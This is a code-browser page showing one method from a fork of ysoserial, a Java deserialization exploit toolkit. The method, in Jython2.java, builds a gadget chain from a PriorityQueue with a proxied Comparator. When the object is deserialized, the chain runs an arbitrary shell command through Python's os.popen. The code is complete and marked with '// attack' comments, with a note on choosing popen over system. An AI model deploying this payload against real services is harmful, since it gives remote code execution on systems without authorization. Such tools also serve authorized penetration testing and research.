MCPcopy Create free account
hub / github.com/Y4er/ysoserial / getObject

Method getObject

src/main/java/ysoserial/payloads/Jython2.java:45–65  ·  view source on GitHub ↗
(String command)

Source from the content-addressed store, hash-verified

43@Authors({ Authors.SSEELEY, Authors.RCALVI })
44public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
45 public PriorityQueue getObject(String command) throws Exception {
46 Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
47 Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
48 c.setAccessible(true);
49 Object builtin = c.newInstance(RandomStringUtils.randomAscii(12), 18, 1);
50 PyMethod handler = new PyMethod((PyObject)builtin, null, new PyString().getType());
51 Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
52 PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
53 HashMap<Object, PyObject> myargs = new HashMap<Object, PyObject>();
54 myargs.put("cmd", new PyString(command));
55 PyStringMap locals = new PyStringMap(myargs);
56 Object[] queue = new Object[] {
57 // system('notepad')会阻塞进程 popen不会
58 // new PyString("__import__('os').system(cmd)"), // attack
59 new PyString("__import__('os').popen(cmd)"), // attack
60 locals, // context
61 };
62 Reflections.setFieldValue(priorityQueue, "queue", queue);
63 Reflections.setFieldValue(priorityQueue, "size", 2);
64 return priorityQueue;
65 }
66 public static void main(final String[] args) throws Exception {
67 PayloadRunner.run(Jython2.class, args);
68 }

Callers

nothing calls this directly

Calls 4

setFieldValueMethod · 0.95
setAccessibleMethod · 0.80
newInstanceMethod · 0.80
getTypeMethod · 0.80

Tested by

no test coverage detected